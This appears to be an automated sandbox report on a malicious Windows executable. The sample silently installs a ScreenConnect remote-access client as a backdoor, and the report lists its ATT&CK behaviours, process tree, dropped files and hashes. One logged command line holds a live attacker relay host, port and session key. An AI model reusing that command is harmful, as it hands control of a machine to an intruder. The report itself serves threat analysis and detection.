Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/08/2026, 17:29

General

  • Target
    2026-08-19_cf95147012f9a655beb04e6308d1eada_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample260819-v23fcsge39
  • SHA256 393b640af343d2bdc2c737a6ed533b594d04cb2df9d32aa2f639546b45c6f51c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-19_cf95147012f9a655beb04e6308d1eada_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-19_cf95147012f9a655beb04e6308d1eada_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4112
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\3547e1d137972a72\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2392
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:544
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1AB877775C4F3F887E3A03552A60E597 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4588
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI92E4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240686046 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2536
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:712
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding AB794ECF38DFDB274D472204D46E95C7
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3452
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 69DE3E70B7882FAEB34329E09F0C8953 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4980
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4604
    • C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.statefilerequires.com&p=8041&s=fcb07a02-f7af-462d-b379-3341d8c7a0a1&k=BgIAAACkAABSU0ExAAgAAAEAAQAljDk%2b7kGudaQBrG%2fPVqsqVsUd4ghdyYLkJKtff4Ag%2b3ppx9XXRyijbNBKme4RbrIZAcey3DGpyKlsxdK9r2UKe6XY2ir0mb%2bklLj4DJ8OoGDRw0dQ%2fDBOJsnmeuGAX3R2aOCc2JXcOMMHJslN0DfkCiN6501lgFgd%2fCRTqItUgzs4jGTAVpRJzFaJ3Iq0RH4TAkrvlM8Deo3ssG9ZTf71dlukCDqPDuhlQLbMPKy4tlnwR57c7WRqd6bguzpicIsrVv0nFOzBvh8EnCrdiBkotzxJu%2fbfmT88k%2f2PlHKiBW5aZ3gd5PWKixR%2fDxJu2as79KTX8dXRPkZ14X66%2f%2by3&c=SS&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:656
      • C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe" "RunRole" "c145372b-7b33-47f5-bcc0-e6c7fafc1a08" "User"
        2⤵
        • Executes dropped EXE
        PID:4816
      • C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe" "RunRole" "10d70294-60e9-4e23-8663-71523ce0371a" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3092

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e58e1e0.rbs

          • Path C:\Config.Msi\e58e1e0.rbs
          • Size 214KB
          • SHA256 4ece362b1cdcc60865d034d41caefc39819e16c75bbd66aa0f274a77d5bb2f2d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\Client.Override.en-US.resources
          • Size 361B
          • SHA256 37feffe5a7eba3667e1f1eb38db7db5b3b7d090ca6f97a20e23e5a3ba577e995
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\Client.Override.resources
          • Size 43KB
          • SHA256 8048bcd9380b95fbfad5b6edad5b1418cfad209472da7ac23926c5956c047c22
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\app.config
          • Size 2KB
          • SHA256 0e1363deb4a78ddb673919723bfbf3b31de2b2621df2f6bfd74c91aad899beca
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\system.config
          • Size 955B
          • SHA256 cb5766381c551320409214290b8d574008c868dbcb591e0c0b73c4ef117b0b6e
          • MD5 SHA1 SHA512 TLSH

          MSI92E4.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI92E4.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI92E4.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI92E4.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI92E4.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI92E4.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\3547e1d137972a72\ScreenConnect.ClientSetup.msi
          • Size 12.9MB
          • SHA256 592c70e3c529e88d6249a4d82721ee9166350329bd52bd885d42beae55277018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIE3A5.tmp

          • Path C:\Windows\Installer\MSIE3A5.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 470af4baaf2f028473c1f369aebe3d2068d577202fb105fdda38d184f78ed7c8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {e32bba5e-9657-42f7-8cfa-a9186ffa7e94}_OnDiskSnapshotProp

          • Path \??\Volume{63ef4f52-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{e32bba5e-9657-42f7-8cfa-a9186ffa7e94}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 114b999cb95ec263a5b735ded42b391ed3326657f3643554bf7d569bb610ec2a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/656-109-0x00000000047B0000-0x0000000004800000-memory.dmp

          memory/656-87-0x0000000004520000-0x0000000004538000-memory.dmp

          memory/656-113-0x0000000004800000-0x0000000004836000-memory.dmp

          memory/656-118-0x0000000004CD0000-0x0000000004DA5000-memory.dmp

          memory/656-116-0x0000000004760000-0x00000000047A1000-memory.dmp

          memory/656-114-0x0000000004AF0000-0x0000000004B82000-memory.dmp

          memory/2536-30-0x0000000002650000-0x000000000267E000-memory.dmp

          memory/2536-42-0x0000000004CE0000-0x0000000004E8C000-memory.dmp

          memory/2536-38-0x0000000004AA0000-0x0000000004B2C000-memory.dmp

          memory/2536-34-0x0000000002680000-0x000000000268A000-memory.dmp

          memory/4112-8-0x00000000015D0000-0x00000000015E0000-memory.dmp

          memory/4112-7-0x00000000060C0000-0x0000000006664000-memory.dmp

          memory/4112-5-0x0000000002F40000-0x0000000002F62000-memory.dmp

          memory/4112-4-0x0000000005590000-0x000000000561C000-memory.dmp

          memory/4112-3-0x0000000005820000-0x0000000005B12000-memory.dmp

          memory/4112-2-0x00000000015D0000-0x00000000015E0000-memory.dmp

          memory/4112-1-0x0000000000ED0000-0x0000000000ED8000-memory.dmp

          memory/4112-6-0x0000000005620000-0x00000000057CC000-memory.dmp

          memory/4112-0-0x00000000015D0000-0x00000000015E0000-memory.dmp

          memory/4816-129-0x0000000000610000-0x00000000006A8000-memory.dmp

          memory/4816-131-0x000000001B1F0000-0x000000001B27C000-memory.dmp

          memory/4816-133-0x000000001C9F0000-0x000000001CB76000-memory.dmp

          memory/4816-134-0x0000000002610000-0x0000000002628000-memory.dmp

          memory/4816-135-0x00000000026A0000-0x00000000026B8000-memory.dmp

          memory/4816-132-0x000000001B790000-0x000000001B93C000-memory.dmp

          memory/4816-130-0x0000000002630000-0x0000000002666000-memory.dmp